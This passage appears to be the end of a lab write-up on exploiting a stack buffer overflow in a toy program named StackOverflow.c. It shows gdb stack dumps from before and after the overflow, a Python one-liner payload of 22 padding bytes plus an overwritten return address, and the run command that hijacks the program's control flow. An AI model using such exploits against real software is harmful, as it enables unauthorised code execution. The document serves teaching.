0xffffd4e8:  0x60  0x59  0xfe  0xf7  0x00  0xd0  0xff  0xf7
0xffffd4f0:  0x02  0x00  0x00  0x00  0x80  0x83  0x04  0x08
0xffffd4f8:  0x00  0x00  0x00  0x00  0xa1  0x83  0x04  0x08
0xffffd500:  0xce  0x84  0x04  0x08  0x02  0x00  0x00  0x00
0xffffd508:  0x24  0xd5  0xff  0xff  0x10  0x85  0x04  0x08
0xffffd510:  0x80  0x85  0x04  0x08  0x60  0x59  0xfe  0xf7
0xffffd518:  0x1c  0xd5  0xff  0xff  0x40  0xd9  0xff  0xf7
0xffffd520:  0x02  0x00  0x00  0x00  0x9b  0xd6  0xff  0xff
0xffffd528:  0xb7  0xd6  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd530:  0xd2  0xd6  0xff  0xff  0xbe  0xdc  0xff  0xff
0xffffd538:  0xd9  0xdc  0xff  0xff  0xfb  0xdc  0xff  0xff
0xffffd540:  0x10  0xdd  0xff  0xff  0x28  0xdd  0xff  0xff
0xffffd548:  0x37  0xdd  0xff  0xff  0x48  0xdd  0xff  0xff
0xffffd550:  0x53  0xdd  0xff  0xff  0x61  0xdd  0xff  0xff
0xffffd558:  0x75  0xdd  0xff  0xff  0x83  0xdd  0xff  0xff
0xffffd560:  0x9d  0xdd  0xff  0xff  0xb1  0xdd  0xff  0xff
0xffffd568:  0xc2  0xdd  0xff  0xff  0xcc  0xdd  0xff  0xff
0xffffd570:  0xe3  0xdd  0xff  0xff  0xec  0xdd  0xff  0xff
0xffffd578:  0xf7  0xdd  0xff  0xff  0x06  0xde  0xff  0xff
0xffffd580:  0x1d  0xde  0xff  0xff  0x34  0xde  0xff  0xff
0xffffd588:  0x42  0xde  0xff  0xff  0x4e  0xde  0xff  0xff
0xffffd590:  0x62  0xde  0xff  0xff  0x76  0xde  0xff  0xff
0xffffd598:  0x86  0xde  0xff  0xff  0x8e  0xde  0xff  0xff
0xffffd5a0:  0xa7  0xde  0xff  0xff  0xb4  0xde  0xff  0xff
0xffffd5a8:  0xe7  0xde  0xff  0xff  0x03  0xdf  0xff  0xff
0xffffd5b0:  0x2c  0xdf  0xff  0xff  0x8a  0xdf  0xff  0xff
0xffffd5b8:  0xa8  0xdf  0xff  0xff  0xc8  0xdf  0xff  0xff
0xffffd5c0:  0x00  0x00  0x00  0x00  0x20  0x00  0x00  0x00
0xffffd5c8:  0x50  0x50  0xfd  0xf7  0x21  0x00  0x00  0x00

```

Stack status before executing our script.

```

(gdb) nexti
10      in StackOverflow.c
(gdb) x/400xb $esp
0xffffd440:  0x56  0xd4  0xff  0xff  0xb7  0xd6  0xff  0xff
0xffffd448:  0x00  0x00  0x00  0x00  0xfd  0x82  0x04  0x08
0xffffd450:  0xfc  0x63  0xfb  0xf7  0x00  0x00  0x41  0x41
0xffffd458:  0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd460:  0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd468:  0x41  0x41  0x41  0x41  0xba  0x84  0x04  0x08
0xffffd470:  0x00  0xd6  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd478:  0x1b  0x85  0x04  0x08  0x00  0x00  0x00  0x00
0xffffd480:  0x00  0x60  0xfb  0xf7  0x00  0x60  0xfb  0xf7
0xffffd488:  0x00  0x00  0x00  0x00  0x21  0x9f  0xdf  0xf7
0xffffd490:  0x02  0x00  0x00  0x00  0x24  0xd5  0xff  0xff
0xffffd498:  0x30  0xd5  0xff  0xff  0xb4  0xd4  0xff  0xff
0xffffd4a0:  0x01  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd4a8:  0x00  0x60  0xfb  0xf7  0x0a  0x57  0xfe  0xf7
0xffffd4b0:  0x00  0xd0  0xff  0xf7  0x00  0x00  0x00  0x00
0xffffd4b8:  0x00  0x60  0xfb  0xf7  0x00  0x00  0x00  0x00
0xffffd4c0:  0x00  0x00  0x00  0x00  0x97  0xdd  0xfc  0xb0
0xffffd4c8:  0x87  0x3b  0x68  0xf0  0x00  0x00  0x00  0x00
0xffffd4d0:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0xffffd4d8:  0x02  0x00  0x00  0x00  0x80  0x83  0x04  0x08
0xffffd4e0:  0x00  0x00  0x00  0x00  0x50  0xad  0xfe  0xf7
0xffffd4e8:  0x60  0x59  0xfe  0xf7  0x00  0xd0  0xff  0xf7
0xffffd4f0:  0x02  0x00  0x00  0x00  0x80  0x83  0x04  0x08
0xffffd4f8:  0x00  0x00  0x00  0x00  0xa1  0x83  0x04  0x08
0xffffd500:  0xce  0x84  0x04  0x08  0x02  0x00  0x00  0x00
0xffffd508:  0x24  0xd5  0xff  0xff  0x10  0x85  0x04  0x08
0xffffd510:  0x80  0x85  0x04  0x08  0x60  0x59  0xfe  0xf7
0xffffd518:  0x1c  0xd5  0xff  0xff  0x40  0xd9  0xff  0xf7
0xffffd520:  0x02  0x00  0x00  0x00  0x9b  0xd6  0xff  0xff
0xffffd528:  0xb7  0xd6  0xff  0xff  0x00  0x00  0x00  0x00
0xffffd530:  0xd2  0xd6  0xff  0xff  0xbe  0xdc  0xff  0xff
0xffffd538:  0xd9  0xdc  0xff  0xff  0xfb  0xdc  0xff  0xff
0xffffd540:  0x10  0xdd  0xff  0xff  0x28  0xdd  0xff  0xff
0xffffd548:  0x37  0xdd  0xff  0xff  0x48  0xdd  0xff  0xff
0xffffd550:  0x53  0xdd  0xff  0xff  0x61  0xdd  0xff  0xff
0xffffd558:  0x75  0xdd  0xff  0xff  0x83  0xdd  0xff  0xff
0xffffd560:  0x9d  0xdd  0xff  0xff  0xb1  0xdd  0xff  0xff
0xffffd568:  0xc2  0xdd  0xff  0xff  0xcc  0xdd  0xff  0xff
0xffffd570:  0xe3  0xdd  0xff  0xff  0xec  0xdd  0xff  0xff
0xffffd578:  0xf7  0xdd  0xff  0xff  0x06  0xde  0xff  0xff
0xffffd580:  0x1d  0xde  0xff  0xff  0x34  0xde  0xff  0xff
0xffffd588:  0x42  0xde  0xff  0xff  0x4e  0xde  0xff  0xff
0xffffd590:  0x62  0xde  0xff  0xff  0x76  0xde  0xff  0xff
0xffffd598:  0x86  0xde  0xff  0xff  0x8e  0xde  0xff  0xff
0xffffd5a0:  0xa7  0xde  0xff  0xff  0xb4  0xde  0xff  0xff
0xffffd5a8:  0xe7  0xde  0xff  0xff  0x03  0xdf  0xff  0xff
0xffffd5b0:  0x2c  0xdf  0xff  0xff  0x8a  0xdf  0xff  0xff
0xffffd5b8:  0xa8  0xdf  0xff  0xff  0xc8  0xdf  0xff  0xff
0xffffd5c0:  0x00  0x00  0x00  0x00  0x20  0x00  0x00  0x00
0xffffd5c8:  0x50  0x50  0xfd  0xf7  0x21  0x00  0x00  0x00

```

After the breakpoint our stack status like this.

```
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAA♦♦00
04
Now the stack looks like:
0xffffd6b7
(nil)
0x80482fd
0xf7fb63fc
0x41410000
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x80484ba
0xffffd600

You hack me!

Program received signal SIGSEGV, Segmentation fault.
0xffffd600 in ?? ()
```

After the breakpoint executed. Program hacked.

The script for hacking I use is;

```
import sys; sys.stdout.buffer.write(b'\x41'*22 + b'\xba\x84\x04\x08')
```

Running command is;

```
run $(cat 22shellcode.txt)
```

